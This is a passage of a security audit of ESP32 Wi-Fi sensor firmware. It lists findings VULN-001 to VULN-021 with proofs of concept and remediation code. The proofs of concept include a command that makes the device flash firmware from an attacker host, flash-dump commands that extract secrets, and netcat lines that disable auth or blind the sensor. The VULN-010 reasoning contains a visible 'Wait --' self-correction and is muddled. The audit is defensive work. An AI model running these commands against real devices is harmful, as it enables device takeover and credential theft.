| VULN-007 | High | 7.5 | B (Auth) | Non-privileged commands accessible without auth |
|
||||
| VULN-008 | Medium | 6.5 | D (Network) | UDP command socket binds to INADDR_ANY |
|
||||
| VULN-009 | Medium | 6.1 | B (Auth) | HMAC replay window of 60 seconds |
|
||||
| VULN-010 | Medium | 5.9 | A (Memory) | Potential buffer overflow in CSI UDP buffer |
|
||||
| VULN-011 | Medium | 5.3 | I (InfoDisc) | mDNS leaks device type, hostname, port |
|
||||
| VULN-012 | Medium | 5.3 | I (InfoDisc) | STATUS command exposes build date, IDF version, chip details |
|
||||
| VULN-013 | Medium | 5.3 | J (DoS) | Unbounded OTA URL length via strdup |
|
||||
| VULN-014 | Medium | 4.6 | G (Concurrency) | Race conditions on shared globals between tasks |
|
||||
| VULN-015 | Low | 3.9 | H (Physical) | UART console active at 921600 baud |
|
||||
| VULN-016 | Low | 3.7 | F (WiFi) | Wi-Fi credentials in plaintext NVS |
|
||||
| VULN-017 | Low | 3.1 | J (DoS) | NVS write throttle bypassable over time |
|
||||
| VULN-018 | Low | 3.1 | D (Network) | No rate limiting on command socket |
|
||||
| VULN-019 | Low | 2.4 | A (Memory) | probe body_len calculated from untrusted sig_len |
|
||||
| VULN-020 | Info | N/A | I (AI Pattern) | Example code pattern used in production |
|
||||
| VULN-021 | Info | N/A | C (Crypto) | HMAC truncated to 64 bits |
|
||||
| VULN-022 | Info | N/A | E (OTA) | No firmware version anti-rollback enforcement |
|
||||
| VULN-023 | Info | N/A | F (WiFi) | PMF (802.11w) not explicitly enabled |
|
||||
| VULN-024 | Info | N/A | G (FreeRTOS) | Tight stack allocations on several tasks |
|
||||
|
||||
---
|
||||
|
||||
## 4. Detailed Findings
|
||||
|
||||
### VULN-001: Unsigned OTA Over Plaintext HTTP Allows Remote Code Execution
|
||||
|
||||
- **Severity:** Critical
|
||||
- **CVSS v3.1:** 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
|
||||
- **Category:** E (OTA Security)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `ota_task()`, lines 1211-1242; `/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults`, line 67
|
||||
- **Description:** The `CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=y` setting allows OTA downloads over plaintext HTTP. The `esp_http_client_config_t` has no TLS certificate configured (no `cert_pem`, no `crt_bundle_attach`). Even when an HTTPS URL is used, there is no server certificate validation -- the connection accepts any certificate. The OTA image is checked only by ESP-IDF's internal image header validation (magic bytes and partition compatibility), but there is no cryptographic signature verification because secure boot is disabled. This means any device on the same network can perform an ARP spoofing or DNS spoofing attack to serve a malicious firmware image.
|
||||
- **Proof of Concept:**
|
||||
1. Attacker on the same LAN observes the OTA command (or simply triggers one after compromising auth or when auth is disabled).
|
||||
2. Attacker sets up a rogue HTTP server with a crafted ESP32 firmware image.
|
||||
3. Sends UDP command: `OTA http://<attacker-ip>:8080/evil.bin` (or intercepts legitimate OTA traffic via ARP spoofing).
|
||||
4. Device downloads and flashes the malicious firmware, then reboots with attacker-controlled code.
|
||||
- **Remediation:**
|
||||
```c
|
||||
// In sdkconfig.defaults, remove or set to n:
|
||||
// CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=y
|
||||
// Replace with:
|
||||
CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=n
|
||||
|
||||
// In ota_task(), add certificate validation:
|
||||
esp_http_client_config_t http_cfg = {
|
||||
.url = url,
|
||||
.timeout_ms = 30000,
|
||||
.crt_bundle_attach = esp_crt_bundle_attach, // Use ESP-IDF cert bundle
|
||||
};
|
||||
|
||||
// Additionally, enable secure boot v2 to verify firmware signatures
|
||||
// CONFIG_SECURE_BOOT=y
|
||||
// CONFIG_SECURE_BOOT_V2_ENABLED=y
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### VULN-002: Secure Boot and Flash Encryption Disabled
|
||||
|
||||
- **Severity:** Critical
|
||||
- **CVSS v3.1:** 9.1 (AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
|
||||
- **Category:** H (Physical/Side-Channel)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.sample`, lines 357-359, 2147
|
||||
- **Description:** Both secure boot (`CONFIG_SECURE_BOOT`) and flash encryption (`CONFIG_SECURE_FLASH_ENC_ENABLED`, `CONFIG_FLASH_ENCRYPTION_ENABLED`) are explicitly disabled. This allows physical attackers to: (a) read the entire flash contents including the auth secret and Wi-Fi credentials via esptool.py, (b) flash arbitrary firmware, (c) modify the bootloader. On the ESP32 (which supports Secure Boot V1), this is the primary hardware security mechanism.
|
||||
- **Proof of Concept:**
|
||||
```bash
|
||||
# Read entire flash (requires USB access):
|
||||
esptool.py -p /dev/ttyUSB0 read_flash 0 0x400000 dump.bin
|
||||
# Extract NVS partition with auth secret:
|
||||
python3 nvs_partition_tool.py dump.bin --partition-offset 0x9000 --partition-size 0x4000
|
||||
```
|
||||
- **Remediation:** Enable secure boot and flash encryption (note: this is a one-way eFuse operation for production):
|
||||
```
|
||||
CONFIG_SECURE_BOOT=y
|
||||
CONFIG_SECURE_BOOT_V2_ENABLED=y
|
||||
CONFIG_SECURE_FLASH_ENC_ENABLED=y
|
||||
CONFIG_SECURE_FLASH_ENCRYPTION_MODE_RELEASE=y
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### VULN-003: Auth Secret Logged in Cleartext on First Boot
|
||||
|
||||
- **Severity:** High
|
||||
- **CVSS v3.1:** 8.8 (AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
|
||||
- **Category:** I (Information Disclosure) / B (Authentication)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `config_load_nvs()`, line 355
|
||||
- **Description:** When no auth secret exists (first boot or after factory reset), a random 32-character hex secret is generated and logged via `ESP_LOGW`:
|
||||
```c
|
||||
ESP_LOGW(TAG, "AUTH: generated secret: %s (note this for remote access)", s_auth_secret);
|
||||
```
|
||||
This secret is the sole authentication credential for privileged operations (OTA, REBOOT, FACTORY, TARGET, etc.). It is printed to the UART console at 921600 baud, which could be captured by any serial monitoring tool, logging infrastructure, or by an attacker with physical proximity to the serial port. If the device is connected to a USB-to-serial adapter during provisioning, the secret is visible to anyone with access to the host machine's serial logs.
|
||||
- **Proof of Concept:** Connect to UART at 921600 baud during device boot or factory reset. The auth secret appears in the boot log.
|
||||
- **Remediation:**
|
||||
```c
|
||||
// Replace the log line with a partial redaction:
|
||||
ESP_LOGW(TAG, "AUTH: secret generated (first 4 chars: %.4s...)", s_auth_secret);
|
||||
// Or better, use a provisioning protocol that doesn't log the secret at all.
|
||||
// Consider a dedicated provisioning command that reveals the secret once
|
||||
// only when triggered via physical button press.
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### VULN-004: UDP Command Channel Has No Transport Encryption
|
||||
|
||||
- **Severity:** High
|
||||
- **CVSS v3.1:** 8.1 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
|
||||
- **Category:** D (Network/Protocol Security)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_task()`, lines 2491-2570
|
||||
- **Description:** The entire command and control protocol runs over plaintext UDP. Even with HMAC authentication enabled, an attacker on the same network can: (a) sniff all command traffic and responses, including device status, configuration, hostname, IP targets; (b) observe the HMAC tokens and timestamps, which, while not directly reusable outside the 60-second window, reveal the pattern and timing of commands; (c) capture the full CONFIG and STATUS responses which contain operational intelligence. The HMAC protects integrity and authentication of privileged commands, but provides zero confidentiality.
|
||||
- **Proof of Concept:**
|
||||
```bash
|
||||
# From any machine on the same LAN:
|
||||
tcpdump -i eth0 -A udp port 5501
|
||||
# All commands and responses visible in cleartext
|
||||
```
|
||||
- **Remediation:** For a constrained UDP protocol on a LAN sensor, full DTLS may be impractical. Consider:
|
||||
1. Restricting the command socket to accept only from configured management IPs.
|
||||
2. Using DTLS (mbedTLS supports it on ESP32) for the command channel.
|
||||
3. At minimum, encrypt sensitive response data with a shared key.
|
||||
|
||||
---
|
||||
|
||||
### VULN-005: Auth Can Be Disabled Remotely via AUTH OFF
|
||||
|
||||
- **Severity:** High
|
||||
- **CVSS v3.1:** 7.5 (AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
|
||||
- **Category:** B (Authentication)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_handle()`, lines 2094-2112
|
||||
- **Description:** The `AUTH OFF` command disables authentication entirely by clearing the secret and persisting an empty string to NVS. Once an attacker obtains the HMAC secret (via VULN-003, VULN-006, or by intercepting it), they can permanently disable authentication, making all future commands (including OTA, REBOOT, FACTORY) executable by anyone on the network without any credentials. The `AUTH` command is listed in `cmd_requires_auth()` (line 1519), so it does require HMAC to execute -- but once executed, the device is permanently open until reboot or manual re-configuration.
|
||||
- **Proof of Concept:**
|
||||
```bash
|
||||
# After obtaining the secret, compute HMAC and send:
|
||||
echo "HMAC:<computed_hmac>:<timestamp>:AUTH OFF" | nc -u <device-ip> 5501
|
||||
# Device now accepts all commands without authentication
|
||||
```
|
||||
- **Remediation:** Remove the ability to disable auth remotely. Only allow secret rotation (changing to a new secret), not removal:
|
||||
```c
|
||||
if (strcmp(arg, "OFF") == 0) {
|
||||
snprintf(reply, reply_size, "ERR AUTH cannot be disabled remotely");
|
||||
return strlen(reply);
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### VULN-006: Auth Secret Stored Unencrypted in NVS
|
||||
|
||||
- **Severity:** High
|
||||
- **CVSS v3.1:** 7.5 (AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
|
||||
- **Category:** C (Cryptography)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `config_load_nvs()`, line 276; function `config_save_str()` used at line 354
|
||||
- **Description:** The HMAC authentication secret is stored as a plaintext string in the NVS partition under the key `auth_secret`. Since flash encryption is disabled (VULN-002), the secret can be read directly from the flash chip using esptool or a flash programmer. This provides an attacker with full privileged access to the device's command interface, including OTA (code execution) and FACTORY (denial of service).
|
||||
- **Remediation:** Enable NVS encryption (`CONFIG_NVS_ENCRYPTION=y`) and flash encryption, or store the secret in eFuse if a single immutable secret is acceptable.
|
||||
|
||||
---
|
||||
|
||||
### VULN-007: Non-Privileged Commands Accessible Without Authentication
|
||||
|
||||
- **Severity:** High
|
||||
- **CVSS v3.1:** 7.5 (AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L)
|
||||
- **Category:** B (Authentication)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_requires_auth()`, lines 1513-1522; `cmd_task()`, lines 2543-2563
|
||||
- **Description:** The `cmd_requires_auth()` function only gates 6 commands: OTA, FACTORY, REBOOT, TARGET, AUTH, HOSTNAME. All other commands are freely accessible without authentication, including several that can significantly alter device behavior:
|
||||
- `RATE` -- change CSI sampling rate (affects monitoring accuracy)
|
||||
- `POWER` -- change TX power (2-20 dBm, affects RF environment)
|
||||
- `BLE ON/OFF` -- enable/disable BLE scanning
|
||||
- `ADAPTIVE ON/OFF` -- enable/disable adaptive sampling
|
||||
- `CSI OFF` -- disable CSI collection entirely (blind the sensor)
|
||||
- `CSIMODE` -- change output format
|
||||
- `CALIBRATE` -- trigger/clear baseline calibration (manipulate presence detection)
|
||||
- `PRESENCE OFF` -- disable presence detection
|
||||
- `CHANSCAN NOW` -- trigger channel scanning (disrupts CSI for ~1.3s)
|
||||
- `LOG NONE` -- suppress all logging (hide attack traces)
|
||||
- `POWERSAVE ON` -- degrade sensor performance
|
||||
- `FLOODTHRESH 100 300` -- suppress deauth flood detection
|
||||
- `ALERT OFF` -- disable monitoring alerts
|
||||
- `POWERTEST` -- run power test (disrupts normal operation for minutes)
|
||||
- **Proof of Concept:**
|
||||
```bash
|
||||
# No authentication needed to blind the sensor:
|
||||
echo "CSI OFF" | nc -u <device-ip> 5501
|
||||
echo "PRESENCE OFF" | nc -u <device-ip> 5501
|
||||
echo "LOG NONE" | nc -u <device-ip> 5501
|
||||
echo "FLOODTHRESH 100 300" | nc -u <device-ip> 5501
|
||||
# Sensor is now blind, not detecting presence, not logging, and not alerting on deauth floods
|
||||
```
|
||||
- **Remediation:** Require authentication for all commands that modify device behavior. Only STATUS, CONFIG, PROFILE, PING, HELP, and HOSTNAME (query-only) should be unauthenticated:
|
||||
```c
|
||||
static bool cmd_requires_auth(const char *cmd)
|
||||
{
|
||||
// Allow only read-only commands without auth
|
||||
if (strcmp(cmd, "STATUS") == 0) return false;
|
||||
if (strcmp(cmd, "CONFIG") == 0) return false;
|
||||
if (strcmp(cmd, "PROFILE") == 0) return false;
|
||||
if (strcmp(cmd, "PING") == 0) return false;
|
||||
if (strcmp(cmd, "HELP") == 0) return false;
|
||||
if (strcmp(cmd, "HOSTNAME") == 0) return false;
|
||||
if (strcmp(cmd, "CALIBRATE STATUS") == 0) return false;
|
||||
if (strcmp(cmd, "PRESENCE") == 0) return false; // query only
|
||||
if (strcmp(cmd, "ALERT") == 0) return false; // query only
|
||||
// Everything else requires auth
|
||||
return true;
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### VULN-008: UDP Command Socket Binds to INADDR_ANY
|
||||
|
||||
- **Severity:** Medium
|
||||
- **CVSS v3.1:** 6.5 (AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
|
||||
- **Category:** D (Network Security)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_task()`, line 2503
|
||||
- **Description:** The command socket binds to `INADDR_ANY` (0.0.0.0), accepting commands from any network interface. While the ESP32 typically has only one Wi-Fi interface, if the device is connected to a network with routing to the internet, the command port could potentially be reachable from outside the LAN.
|
||||
- **Remediation:** Bind to the specific station IP address after connecting to Wi-Fi, or implement source IP filtering to restrict commands to known management hosts.
|
||||
|
||||
---
|
||||
|
||||
### VULN-009: HMAC Replay Window of 60 Seconds
|
||||
|
||||
- **Severity:** Medium
|
||||
- **CVSS v3.1:** 6.1 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N)
|
||||
- **Category:** B (Authentication) / C (Cryptography)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `auth_verify()`, lines 1470-1477
|
||||
- **Description:** The HMAC replay protection uses a +/-30 second window around device uptime (`drift < -30 || drift > 30`). This means a captured HMAC-authenticated command can be replayed within a 60-second window. There is no nonce or sequence number to prevent replay. Additionally, the timestamp is based on device uptime (not wall-clock time), which is predictable and resets on reboot. After a reboot, all previously used timestamps in the first 30 seconds of the previous boot are valid again.
|
||||
- **Proof of Concept:**
|
||||
1. Capture an HMAC-signed command from the network.
|
||||
2. Replay it within 60 seconds -- the device will accept it.
|
||||
3. After a device reboot, replay commands from the first 30 seconds of the previous session.
|
||||
- **Remediation:** Implement a nonce/sequence counter:
|
||||
```c
|
||||
// Add a monotonic sequence counter stored in NVS
|
||||
static uint32_t s_auth_seq = 0;
|
||||
// Require sequence number in HMAC payload: "HMAC:<mac>:<seq>:<cmd>"
|
||||
// Reject if seq <= s_auth_seq; update s_auth_seq on success
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### VULN-010: Potential Buffer Overflow in CSI UDP Buffer
|
||||
|
||||
- **Severity:** Medium
|
||||
- **CVSS v3.1:** 5.9 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H)
|
||||
- **Category:** A (Memory Safety)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `wifi_csi_rx_cb()`, lines 686-721
|
||||
- **Description:** The `s_udp_buffer` is 2048 bytes. The CSI data is serialized into this buffer using repeated `snprintf` calls. In raw mode, each I/Q value is formatted as a signed integer with a comma separator. For the worst case, `info->len` could theoretically be large (ESP32 CSI buffers can be up to ~384 bytes for HT40). With 384 I/Q values, each formatted as up to 6 characters (","-32768"), the raw payload alone could reach ~2304 bytes, exceeding the 2048-byte buffer. While `snprintf` prevents writing beyond the buffer boundary (it respects the size parameter), the data will be silently truncated, potentially causing malformed output that could confuse downstream parsers. The `pos` variable will still be incremented beyond `sizeof(s_udp_buffer)` since `snprintf` returns the number of bytes that *would have been written*, and subsequent `snprintf` calls will compute `sizeof(s_udp_buffer) - pos` as a very large number (unsigned wraparound), effectively disabling the size check.
|
||||
|
||||
Specifically, at line 718:
|
||||
```c
|
||||
pos += snprintf(s_udp_buffer + pos, sizeof(s_udp_buffer) - pos, ",%d", ...);
|
||||
```
|
||||
If `pos` exceeds `sizeof(s_udp_buffer)`, then `sizeof(s_udp_buffer) - pos` wraps to a huge value (since `pos` is `int` and the subtraction result is passed as `size_t`), and the next `snprintf` will write past the buffer.
|
||||
|
||||
Wait -- `pos` is `int` and `sizeof(s_udp_buffer) - pos` when `pos > sizeof(s_udp_buffer)`: since `sizeof` returns `size_t` (unsigned), and `pos` is `int`, when `pos > 2048`, the subtraction could result in a large unsigned value due to implicit conversion. However, `s_udp_buffer + pos` would already point past the buffer. This creates a heap/stack corruption scenario if the CSI data is large enough.
|
||||
|
||||
- **Proof of Concept:** Send CSI frames with maximum HT40 I/Q data (384 bytes) in raw mode. The serialized output will exceed 2048 bytes, causing memory corruption in `s_udp_buffer` (which is a global, so adjacent globals could be corrupted).
|
||||
- **Remediation:**
|
||||
```c
|
||||
// Add bounds check after each snprintf:
|
||||
if (pos >= (int)sizeof(s_udp_buffer) - 10) {
|
||||
ESP_LOGW(TAG, "CSI buffer overflow prevented");
|
||||
break;
|
||||
}
|
||||
// Or increase buffer size to accommodate worst case:
|
||||
static char s_udp_buffer[4096];
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### VULN-011: mDNS Leaks Device Type, Hostname, and Port
|
||||
|
||||
- **Severity:** Medium
|
||||
- **CVSS v3.1:** 5.3 (AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
|
||||
- **Category:** I (Information Disclosure)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `app_main()`, lines 2668-2672
|
||||
- **Description:** The device announces itself via mDNS with:
|
||||
- Hostname: configurable (e.g., `muddy-storm.local`)
|
||||
- Instance name: "ESP32 CSI Sensor" (hardcoded)
|
||||
- Service: `_esp-csi._udp` with the data target port
|
||||
|
||||
This allows any device on the LAN to discover all CSI sensors, their hostnames, and the port they send data to, without any authentication. This is valuable reconnaissance information for an attacker.
|
||||
- **Remediation:** Remove the hardcoded "ESP32 CSI Sensor" instance name or make it configurable. Consider whether mDNS service advertisement is necessary for production deployments.
|
||||
|
||||
---
|
||||
|
||||
### VULN-012: STATUS Command Exposes Build Info and Device Details
|
||||
|
||||
- **Severity:** Medium
|
||||
- **CVSS v3.1:** 5.3 (AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
|
||||
- **Category:** I (Information Disclosure)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_handle()` STATUS section, lines 1695-1778
|
||||
- **Description:** The STATUS command (accessible without authentication) returns extensive device information including:
|
||||
- Build date and time (`app_desc->date`, `app_desc->time`)
|
||||
- ESP-IDF version (`app_desc->idf_ver`)
|
||||
- Chip model and revision (`chip_model`, `chip_info.revision`)
|
||||
- Firmware version (`app_desc->version`)
|
||||
- Free heap, NVS usage statistics
|
||||
- Whether auth is on/off
|
||||
- Target IP and port (reveals the monitoring infrastructure)
|
||||
- All operational parameters
|
||||
|
||||
This information aids an attacker in identifying specific CVEs for the IDF version, understanding the device's role, and finding the monitoring server.
|
||||
- **Remediation:** Require authentication for STATUS or create a minimal public STATUS that only returns PONG-style acknowledgments. Move detailed information behind authentication.
|
||||
|
||||
---
|
||||
|
||||
### VULN-013: Unbounded OTA URL Length via strdup
|
||||
|
||||
- **Severity:** Medium
|
||||
- **CVSS v3.1:** 5.3 (AV:A/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H)
|
||||
- **Category:** J (DoS) / A (Memory Safety)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_handle()`, line 2125
|
||||
- **Description:** The OTA URL is duplicated via `strdup(url)` without length validation beyond the 191-byte `rx_buf`. While `rx_buf` is 192 bytes (line 2515), limiting the maximum URL length to ~180 characters (after command prefix and null terminator), the `strdup` itself does not validate that the allocation succeeded, though the code does check for NULL on line 2126. The real concern is that `rx_buf` at 192 bytes naturally limits URL length, but if `rx_buf` were ever increased, this would become a larger issue. Currently, the 192-byte command buffer serves as an implicit size limit.
|
||||
- **Remediation:** Add an explicit URL length check:
|
||||
```c
|
||||
if (strlen(url) > 128) {
|
||||
snprintf(reply, reply_size, "ERR OTA URL too long (max 128)");
|
||||
return strlen(reply);
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### VULN-014: Race Conditions on Shared Globals Between Tasks
|
||||
|
||||
- **Severity:** Medium
|
||||
- **CVSS v3.1:** 4.6 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L)
|
||||
- **Category:** G (FreeRTOS/Concurrency)
|
||||
- **Location:** Multiple locations throughout `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`
|
||||
- **Description:** Multiple FreeRTOS tasks (cmd_task, adaptive_task, wifi_csi_rx_cb, led_task, ble callbacks) access shared global variables without mutexes. While some variables are marked `volatile`, this only prevents compiler optimizations and does NOT provide atomicity on the Xtensa architecture for operations wider than 32 bits. Specific concerns:
|
||||
- `s_baseline_amps[]` (float array, 256 bytes) is written by `adaptive_task` during calibration finalization (line 996) while simultaneously read by `wifi_csi_rx_cb` for presence scoring (line 665). A partial update could produce incorrect presence scores.
|
||||
- `s_csi_mode`, `s_send_frequency`, `s_adaptive`, `s_presence_enabled` are written by `cmd_task` and read by `wifi_csi_rx_cb` and `adaptive_task` without synchronization.
|
||||
- `s_calibrating` is set by `cmd_task` (line 2231) and cleared by `adaptive_task` (line 1012), and read by `wifi_csi_rx_cb` (line 647). While `volatile bool` operations are likely atomic on Xtensa, the multi-variable state transitions (setting `s_calib_count`, `s_calib_nsub`, then `s_calibrating`) are not atomic as a group.
|
||||
- `s_pr_scores[]` is written by `wifi_csi_rx_cb` and read by `adaptive_task`.
|
||||
- **Remediation:** Use a FreeRTOS mutex for accessing shared calibration/presence state, or use FreeRTOS task notifications for signaling state changes. For simple flags, `volatile` is sufficient on Xtensa, but arrays and multi-field updates need synchronization.
|
||||
|
||||
---
|
||||
|
||||
### VULN-015: UART Console Active at 921600 Baud
|
||||
|
||||
- **Severity:** Low
|
||||
- **CVSS v3.1:** 3.9 (AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
|
||||
- **Category:** H (Physical)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults`, lines 11-14
|
||||
- **Description:** The UART console is enabled on UART0 at 921600 baud. All ESP_LOG output (including the auth secret on first boot per VULN-003) is transmitted over this serial connection. In a deployed sensor, if the UART pins are accessible (e.g., via a debug header or exposed pads), an attacker can passively capture all device logs, including configuration details, event notifications, and error messages.
|
||||
- **Remediation:** For production builds, consider:
|
||||
```
|
||||
CONFIG_ESP_CONSOLE_NONE=y # Disable console entirely
|
||||
# Or at minimum:
|
||||
CONFIG_LOG_DEFAULT_LEVEL_WARN=y # Reduce default log verbosity
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### VULN-016: Wi-Fi Credentials Stored in Plaintext NVS
|
||||
|
||||
- **Severity:** Low
|
||||
- **CVSS v3.1:** 3.7 (AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
|
||||
- **Category:** F (WiFi/BLE)
|
||||
- **Location:** Implicit -- `example_connect()` from `protocol_examples_common` stores Wi-Fi SSID/password in NVS
|
||||
- **Description:** The Wi-Fi connection uses ESP-IDF's `example_connect()` helper, which stores the SSID and PSK in the default NVS namespace. Without NVS encryption or flash encryption, these credentials can be extracted by reading the flash chip. This is a standard ESP32 configuration weakness, but notable because these credentials provide network access.
|
||||
- **Remediation:** Enable NVS encryption (`CONFIG_NVS_ENCRYPTION=y`) or flash encryption.
|
||||
|
||||
---
|
||||
|
||||
### VULN-017: NVS Write Throttle Bypassable Over Time
|
||||
|
||||
- **Severity:** Low
|
||||
- **CVSS v3.1:** 3.1 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)
|
||||
- **Category:** J (DoS)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `nvs_write_throttle()`, lines 378-391
|
||||
- **Description:** The NVS write throttle limits writes to 20 per 10-second window. However, this allows a sustained rate of 2 writes/second indefinitely. ESP32 flash endurance is typically 100,000 erase cycles per sector. At 2 writes/second, and assuming NVS page rotation over 16KB (4 x 4KB sectors), flash wear-out could occur in approximately 100,000 / 2 / 3600 = ~14 hours of sustained attack. While the throttle is a good mitigation, it may not be aggressive enough for a determined attacker.
|
||||
|
||||
Additionally, `config_erase_key()` (line 441) does NOT go through the throttle, providing an unthrottled NVS write path.
|
||||
- **Remediation:**
|
||||
1. Add throttle check to `config_erase_key()`.
|
||||
2. Consider a stricter limit (e.g., 5 writes per 60 seconds).
|
||||
3. Add a per-IP rate limit on the command socket itself (VULN-018).
|
||||
|
||||
---
|
||||
|
||||
### VULN-018: No Rate Limiting on Command Socket
|
||||
|
||||
- **Severity:** Low
|
||||
- **CVSS v3.1:** 3.1 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)
|
||||
- **Category:** D (Network Security)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_task()`, lines 2520-2569
|
||||
- **Description:** The command socket processes every received UDP packet with no rate limiting. An attacker can flood the command port with rapid requests, consuming CPU time in the command processing task (priority 5, one of the highest in the system). While individual NVS writes are throttled, the command parsing, HMAC verification (SHA-256 computation), and reply generation all consume resources without any throttle.
|
||||
- **Remediation:** Add a per-source-IP rate limiter or a global command rate limit:
|
||||
```c
|
||||
static int64_t s_last_cmd_time = 0;
|
||||
int64_t now = esp_timer_get_time();
|
||||
if (now - s_last_cmd_time < 50000) { // 50ms minimum between commands
|
||||
continue; // Drop packet
|
||||
}
|
||||
s_last_cmd_time = now;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### VULN-019: Probe body_len Calculated from Untrusted sig_len
|
||||
|
||||
- **Severity:** Low
|
||||
- **CVSS v3.1:** 2.4 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)
|
||||
- **Category:** A (Memory Safety)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `wifi_promiscuous_cb()`, line 1385
|
||||
- **Description:**
|
||||
```c
|
||||
int body_len = pkt->rx_ctrl.sig_len - sizeof(wifi_ieee80211_mac_hdr_t);
|
||||
```
|
||||
The `sig_len` field comes from the Wi-Fi hardware's RX control metadata. While typically reliable, a malformed or crafted frame could report a `sig_len` smaller than `sizeof(wifi_ieee80211_mac_hdr_t)` (24 bytes), resulting in a negative `body_len`. The subsequent check `if (body_len >= 2 && body[0] == 0)` would fail (since `body_len` would be negative), so this is safely handled. However, the `body` pointer calculation (`pkt->payload + sizeof(...)`) is always performed, and on some implementations, `pkt->payload` might not have `sig_len` bytes available. The actual buffer provided by the ESP-IDF Wi-Fi driver should be safe, but this is a defensive coding concern.
|
||||
- **Remediation:** Add explicit validation:
|
||||
```c
|
||||
if (pkt->rx_ctrl.sig_len < sizeof(wifi_ieee80211_mac_hdr_t) + 2) return;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### VULN-020: Example Code Pattern Used in Production
|
||||
|
||||
- **Severity:** Informational
|
||||
- **Category:** AI-Generated Code Smell
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, line 2627; `/home/user/git/esp32-hacking/get-started/csi_recv_router/CMakeLists.txt`, line 9
|
||||
- **Description:** The firmware uses `protocol_examples_common` and the `example_connect()` helper function, which is explicitly an ESP-IDF example utility not intended for production use. The comments even reference the examples documentation:
|
||||
```c
|
||||
/**
|
||||
* @brief This helper function configures Wi-Fi, as selected in menuconfig.
|
||||
* Read "Establishing Wi-Fi Connection" section in esp-idf/examples/protocols/README.md
|
||||
*/
|
||||
ESP_ERROR_CHECK(example_connect());
|
||||
```
|
||||
The `example_connect()` function has simplified error handling and may not handle edge cases robustly in production. The CMakeLists.txt pulls this from the IDF examples directory.
|
||||
- **Remediation:** Replace `example_connect()` with production-grade Wi-Fi initialization code that handles reconnection, error states, and credential management properly.
|
||||
|
||||
---
|
||||
|
||||
### VULN-021: HMAC Truncated to 64 Bits
|
||||
|
||||
- **Severity:** Informational
|
||||
- **Category:** C (Cryptography)
|
||||
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `auth_verify()`, lines 1492-1496
|
||||
- **Description:** The HMAC-SHA256 output (256 bits) is truncated to the first 8 bytes (64 bits) for the authentication tag. While this is documented and intentional (to keep UDP packets compact), a 64-bit tag has a collision space of 2^64, which is computationally secure against brute-force but below the standard recommended minimum of 128 bits (RFC 2104 suggests at least half the hash length). For a LAN sensor with rate-limited access, this is acceptable but worth noting.
|
||||
- **Remediation:** Consider using 16 bytes (128 bits / 32 hex chars) for the HMAC tag if packet size allows.
|
||||
|
||||
---
|
||||
|
